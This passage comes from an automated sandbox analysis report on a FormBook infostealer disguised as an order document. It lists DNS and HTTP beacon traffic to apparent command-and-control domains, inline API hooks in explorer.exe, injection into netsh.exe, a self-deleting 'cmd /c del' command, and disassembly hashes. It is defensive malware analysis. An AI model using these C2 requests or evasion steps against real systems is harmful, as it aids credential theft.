May 12, 2021 07:44:10.609643936 CEST	54795	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:10.658327103 CEST	53	54795	8.8.8.8	192.168.2.5
May 12, 2021 07:44:12.193048954 CEST	49557	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:12.241750956 CEST	53	49557	8.8.8.8	192.168.2.5
May 12, 2021 07:44:13.292526960 CEST	61733	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:13.342951059 CEST	53	61733	8.8.8.8	192.168.2.5
May 12, 2021 07:44:14.318603992 CEST	65447	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:14.367415905 CEST	53	65447	8.8.8.8	192.168.2.5
May 12, 2021 07:44:15.541054010 CEST	52441	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:15.589855909 CEST	53	52441	8.8.8.8	192.168.2.5
May 12, 2021 07:44:16.566256046 CEST	62176	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:16.614901066 CEST	53	62176	8.8.8.8	192.168.2.5
May 12, 2021 07:44:17.615890980 CEST	59596	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:17.664671898 CEST	53	59596	8.8.8.8	192.168.2.5
May 12, 2021 07:44:18.526763916 CEST	65296	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:18.587477922 CEST	53	65296	8.8.8.8	192.168.2.5
May 12, 2021 07:44:20.414697886 CEST	63183	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:20.463496923 CEST	53	63183	8.8.8.8	192.168.2.5
May 12, 2021 07:44:32.558574915 CEST	60151	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:32.620421886 CEST	53	60151	8.8.8.8	192.168.2.5
May 12, 2021 07:44:43.997464895 CEST	56969	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:44.054786921 CEST	53	56969	8.8.8.8	192.168.2.5
May 12, 2021 07:44:56.688585997 CEST	55161	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:56.760118008 CEST	53	55161	8.8.8.8	192.168.2.5
May 12, 2021 07:45:05.509707928 CEST	54757	53	192.168.2.5	8.8.8.8
May 12, 2021 07:45:05.567146063 CEST	53	54757	8.8.8.8	192.168.2.5
May 12, 2021 07:45:25.449173927 CEST	49992	53	192.168.2.5	8.8.8.8
May 12, 2021 07:45:25.517127991 CEST	53	49992	8.8.8.8	192.168.2.5
May 12, 2021 07:45:28.383513927 CEST	60075	53	192.168.2.5	8.8.8.8
May 12, 2021 07:45:28.444931984 CEST	53	60075	8.8.8.8	192.168.2.5
May 12, 2021 07:45:34.655599117 CEST	55016	53	192.168.2.5	8.8.8.8
May 12, 2021 07:45:34.866652966 CEST	53	55016	8.8.8.8	192.168.2.5
May 12, 2021 07:45:46.591283083 CEST	64345	53	192.168.2.5	8.8.8.8
May 12, 2021 07:45:46.653258085 CEST	53	64345	8.8.8.8	192.168.2.5
May 12, 2021 07:45:57.098051071 CEST	57128	53	192.168.2.5	8.8.8.8
May 12, 2021 07:45:57.469284058 CEST	53	57128	8.8.8.8	192.168.2.5
May 12, 2021 07:46:05.829041004 CEST	54791	53	192.168.2.5	8.8.8.8
May 12, 2021 07:46:05.901702881 CEST	53	54791	8.8.8.8	192.168.2.5
May 12, 2021 07:46:16.082046986 CEST	50463	53	192.168.2.5	8.8.8.8
May 12, 2021 07:46:16.146555901 CEST	53	50463	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 12, 2021 07:45:34.655599117 CEST	192.168.2.5	8.8.8.8	0xae22	Standard query (0)	www.socialdating24.com	A (IP address)	IN (0x0001)
May 12, 2021 07:45:57.098051071 CEST	192.168.2.5	8.8.8.8	0x73fe	Standard query (0)	www.chjcsc.com	A (IP address)	IN (0x0001)
May 12, 2021 07:46:16.082046986 CEST	192.168.2.5	8.8.8.8	0xe6cc	Standard query (0)	www.theglasshousenyc.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 12, 2021 07:45:34.866652966 CEST	8.8.8.8	192.168.2.5	0xae22	Name error (3)	www.socialdating24.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 07:45:57.469284058 CEST	8.8.8.8	192.168.2.5	0x73fe	No error (0)	www.chjcsc.com		172.255.115.89	A (IP address)	IN (0x0001)
May 12, 2021 07:46:16.146555901 CEST	8.8.8.8	192.168.2.5	0xe6cc	No error (0)	www.theglasshousenyc.com	theglasshousenyc.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 07:46:16.146555901 CEST	8.8.8.8	192.168.2.5	0xe6cc	No error (0)	theglasshousenyc.com		34.102.136.180	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.chjcsc.com

www.theglasshousenyc.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49725	172.255.115.89	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 07:45:57.680249929 CEST	4608	OUT	GET /nyr/?hRXX=pvzb7SsULo7Y2vRo6lGAqy8tja7/7li767PDw0IqJEj7KBKEBSl8rkLevIquA9l06aH5&VBZDH=6l68xBo0LhJD2lv HTTP/1.1 Host: www.chjcsc.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 07:45:57.883593082 CEST	4608	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Wed, 12 May 2021 05:46:06 GMT Connection: close Data Raw: 33 0d 0a ef bb bf 0d 0a Data Ascii: 3
May 12, 2021 07:45:57.883640051 CEST	4608	IN	Data Raw: 35 62 0d 0a e5 bd 93 e5 89 8d e5 9f 9f e5 90 8d e6 88 96 e8 80 85 e7 ab af e5 8f a3 e6 9c aa e7 bb 91 e5 ae 9a 2c e8 af b7 e5 88 b0 e5 90 8e e5 8f b0 e7 bb 91 e5 ae 9a ef bc 8c e8 af a5 e6 b6 88 e6 81 af e5 8f af e4 bb a5 e5 9c a8 e5 90 8e e5 8f Data Ascii: 5b,
May 12, 2021 07:45:57.883668900 CEST	4609	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49727	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 07:46:16.189912081 CEST	4618	OUT	GET /nyr/?VBZDH=6l68xBo0LhJD2lv&hRXX=17hAXKnq4LEoTdb/hcwwVfWjS4IYRgMdOmXX52SprwB/nueYqi9a5dgIoxBN3QmuetP3 HTTP/1.1 Host: www.theglasshousenyc.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 07:46:16.327475071 CEST	4619	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 12 May 2021 05:46:16 GMT Content-Type: text/html Content-Length: 275 ETag: "609953da-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8A 0xAE 0xE0
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x82 0x2E 0xE0
GetMessageW	INLINE	0x48 0x8B 0xB8 0x82 0x2E 0xE0
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8A 0xAE 0xE0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: NEW ORDER SOR 10531220.exe PID: 3756 Parent PID: 5796

General

Start time:	07:44:17
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe'
Imagebase:	0xa70000
File size:	929792 bytes
MD5 hash:	2E2DE2014CCB06FEA1B50414F5E301E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: NEW ORDER SOR 10531220.exe PID: 6164 Parent PID: 3756

General

Start time:	07:44:21
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe
Imagebase:	0x10000
File size:	929792 bytes
MD5 hash:	2E2DE2014CCB06FEA1B50414F5E301E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: NEW ORDER SOR 10531220.exe PID: 6176 Parent PID: 3756

General

Start time:	07:44:21
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe
Imagebase:	0x5d0000
File size:	929792 bytes
MD5 hash:	2E2DE2014CCB06FEA1B50414F5E301E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3472 Parent PID: 6176

General

Start time:	07:44:26
Start date:	12/05/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff693d90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: netsh.exe PID: 7088 Parent PID: 3472

General

Start time:	07:44:48
Start date:	12/05/2021
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\netsh.exe
Imagebase:	0x1280000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 3552 Parent PID: 7088

General

Start time:	07:44:53
Start date:	12/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe'
Imagebase:	0xf30000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5808 Parent PID: 3552

General

Start time:	07:44:54
Start date:	12/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: NEW ORDER SOR 10531220.exe PID: 3756 Parent PID: 5796 NEW ORDER SOR 10531220.exeCOMMON

Executed Functions

Function 01306B88, Relevance: 6.1, APIs: 4, Instructions: 126threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 01306BF8
GetCurrentThread.KERNEL32 ref: 01306C35
GetCurrentProcess.KERNEL32 ref: 01306C72
GetCurrentThreadId.KERNEL32 ref: 01306CCB

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 473f39144f755eac0afa86430762fcaa2c740a589b632e5df57349bbaec35e18
Instruction ID: 45cbd5cd6a151cb534b932226a9c87e28004d4206aa9ba7436e9d6ce370ba883
Opcode Fuzzy Hash: 473f39144f755eac0afa86430762fcaa2c740a589b632e5df57349bbaec35e18
Instruction Fuzzy Hash: 815164B4D002498FDB14CFA9D989B9EBBF0EF48308F248469E419A7694D7349844CF25

Uniqueness

Uniqueness Score: -1.00%

Function 01306B98, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 01306BF8
GetCurrentThread.KERNEL32 ref: 01306C35
GetCurrentProcess.KERNEL32 ref: 01306C72
GetCurrentThreadId.KERNEL32 ref: 01306CCB

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 93dbfff93952c19b0a6f09985784a9dfd702dbaff983165bab02f4a6132bb470
Instruction ID: 70dc6337ec5b87fe2a67adaedee91630191556b1dc532e70e37dcb9fb0dbf171
Opcode Fuzzy Hash: 93dbfff93952c19b0a6f09985784a9dfd702dbaff983165bab02f4a6132bb470
Instruction Fuzzy Hash: 495144B4D002498FDB14DFAAD988B9EBBF0FF48318F248469E419A7694DB349844CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0130BBB8, Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0130BE0E

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d4297916e5dacd395eff108f9bffafb9a19e538a4d7e1eae2b12b935f9b34efa
Instruction ID: 34186ceebc10cb55add8d1f716964bd143b6aa1deaf756bf36eb27752239a71c
Opcode Fuzzy Hash: d4297916e5dacd395eff108f9bffafb9a19e538a4d7e1eae2b12b935f9b34efa
Instruction Fuzzy Hash: 22814674A00B058FDB25DF2AC45075AFBF5FF88208F008A29D59ADBA84DB75E845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0130DC78, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0130DD8A

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 6ddffeaa5fb665b27966775da531ef63bc57c4289a22c188ba212816a747ee26
Instruction ID: 6879883aa3accf5f00a69f35ee2e61be509b9a22ab4fefbdf7288884422b15c4
Opcode Fuzzy Hash: 6ddffeaa5fb665b27966775da531ef63bc57c4289a22c188ba212816a747ee26
Instruction Fuzzy Hash: 3B41BDB1D00249AFDB15CFEAC894ADEBBF5BF48314F24812AE819AB250D7749845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01306D49, Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01306E47

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c6ad6ad951450deb76436430272142ebb44e80dd96993f419fa1b028fb961fc3
Instruction ID: 40851635423c06920354536974de41f107cfa920b157f007b45ce38af071c33e
Opcode Fuzzy Hash: c6ad6ad951450deb76436430272142ebb44e80dd96993f419fa1b028fb961fc3
Instruction Fuzzy Hash: AC414876900249AFCB11CFA9D884ADEBFF9FB48324F14805AE914A7361C3759955CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01306DB8, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01306E47

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7d76191b7928f6eaa370166c2741a5ce456ad62c681b076b759ea58f1d634304
Instruction ID: 8e72b3ac0e64f37e75cafef3615a117390369602c4ef47ad2a0efb28610d833f
Opcode Fuzzy Hash: 7d76191b7928f6eaa370166c2741a5ce456ad62c681b076b759ea58f1d634304
Instruction Fuzzy Hash: 1821D2B59013489FDB10CFA9D584AEEBBF4EF48324F14841AE918A7250D374A955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01306DC0, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01306E47

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: eff9e98f91924fd126835e8353459bd99ff12d0c9840967b567612228e50c1ba
Instruction ID: f316e9bd2665001134e3bbbc6626fd37fbd26c1dc8a8ae78ea6eae2f28447459
Opcode Fuzzy Hash: eff9e98f91924fd126835e8353459bd99ff12d0c9840967b567612228e50c1ba
Instruction Fuzzy Hash: 1C21D5B5900349DFDB10CFAAD984ADEBBF8FB48324F14841AE918A7350D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0130B0D8, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0130BE89,00000800,00000000,00000000), ref: 0130C09A

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bd56109ef1caf097a5a12215d23863dd8a0161f6a4b66451030bb58936ce4cc4
Instruction ID: 3219e94026c42d7b954c158d7f555c44f3e7acc1dc346466b4ba30020e9d8325
Opcode Fuzzy Hash: bd56109ef1caf097a5a12215d23863dd8a0161f6a4b66451030bb58936ce4cc4
Instruction Fuzzy Hash: AE1144B6C002088FDB10CFAAC448BDEFBF8EB49328F04856AD915A7240C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0130C028, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0130BE89,00000800,00000000,00000000), ref: 0130C09A

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9587af2be5c274ded40f08c46ce058e62b1d9a188bd664c68a97f4831f9d5891
Instruction ID: 8f07edf200800154020d10c1834b1d7e98e37cd62fe0a37b60a6cb752022ac77
Opcode Fuzzy Hash: 9587af2be5c274ded40f08c46ce058e62b1d9a188bd664c68a97f4831f9d5891
Instruction Fuzzy Hash: 281106B5C002098FDB10CFAAD448BDEFBF4AB89314F14852AD515A7240C375A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0130BDA8, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0130BE0E

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: cad0e495ef090cf7272ecefa5fb22a6cb57c3077a96b47bee0a50b34cbb820fb
Instruction ID: e1d01fd8f39fc747c76d7b3ca8c6ca96c15044ef069158742bde1b563c0f4e38
Opcode Fuzzy Hash: cad0e495ef090cf7272ecefa5fb22a6cb57c3077a96b47bee0a50b34cbb820fb
Instruction Fuzzy Hash: 1111E0B5C002498FDB10DF9AD444BDEFBF8EB88228F14842AD969A7640D375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0130DEC0, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 0130DF1D

Memory Dump Source

Source File: 00000000.00000002.244043520.0000000001300000.00000040.00000001.sdmp, Offset: 01300000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 51fc71fee8b97412425da3fff2cfdf88986a2d737c12339a78ff0d10332e55b9
Instruction ID: 6561bde666281657a929b5f441146ba36ead94c6a16dd76b5a5f8c7f1949c300
Opcode Fuzzy Hash: 51fc71fee8b97412425da3fff2cfdf88986a2d737c12339a78ff0d10332e55b9
Instruction Fuzzy Hash: 9111E2B58002499FDB10DF9AD488BDEBBF8EB48324F14841AE959A7740C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0110D4D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243906828.000000000110D000.00000040.00000001.sdmp, Offset: 0110D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f16e73960cc919b0433a81ace02b5fe96b5fae9141c8de667a73a47e921f7a75
Instruction ID: 710374d5d41b35cebf1dd2807cb596e2da1dfce4c3e30773e431c39fac508bee
Opcode Fuzzy Hash: f16e73960cc919b0433a81ace02b5fe96b5fae9141c8de667a73a47e921f7a75
Instruction Fuzzy Hash: A621F771904240DFDF0ADF94E5C0B26BB75FB88328F258569ED054B286C377D856C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 0111D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243926493.000000000111D000.00000040.00000001.sdmp, Offset: 0111D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d06aad71d98e3ba7c3d232ccb2f9f1a0bd9ec826552bc41d07fe625934ba2a1
Instruction ID: 30ceb9c86a8007b86bc6c1994fbf00c492ddb4781be686e42ca49439b46fc2d5
Opcode Fuzzy Hash: 4d06aad71d98e3ba7c3d232ccb2f9f1a0bd9ec826552bc41d07fe625934ba2a1
Instruction Fuzzy Hash: 30210075508240DFCF19DF64E9C8B26FB61EB88354F24C5B9D9094B24AC33BD857CA62

Uniqueness

Uniqueness Score: -1.00%

Function 0110D4D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243906828.000000000110D000.00000040.00000001.sdmp, Offset: 0110D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d64477db9f9483eff024ad21beefddb018fc80a7aa46d68ce26437d5177f2104
Instruction ID: b9d775d5dfe9ce36dfcd1b2a83ca899c157070610572442e127f5c1568276e03
Opcode Fuzzy Hash: d64477db9f9483eff024ad21beefddb018fc80a7aa46d68ce26437d5177f2104
Instruction Fuzzy Hash: F911B176804280CFCF16CF94E5C4B16BF71FB88324F2886A9DC050B656C37AD45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0111D017, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243926493.000000000111D000.00000040.00000001.sdmp, Offset: 0111D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a673041faea760638411a329164a2550987f39295efeab768d269dd870a3f12
Instruction ID: 7aa3091971173ef1b168b4419dd3a7178e1c7c08484befa8c28653df64b34b34
Opcode Fuzzy Hash: 7a673041faea760638411a329164a2550987f39295efeab768d269dd870a3f12
Instruction Fuzzy Hash: 5411D075504280CFCB16CF54E5C8B15FF71FB44314F28C6A9D8094B65AC33AD45ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0110D749, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243906828.000000000110D000.00000040.00000001.sdmp, Offset: 0110D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b39ca0fd4f475ccb7966fa9c45c33cc4473da47a5885ca978831235f927b05d
Instruction ID: b67ade9c23cb1678c24a9dcd227102e508701c0ef4043dc88ba2960b9b405949
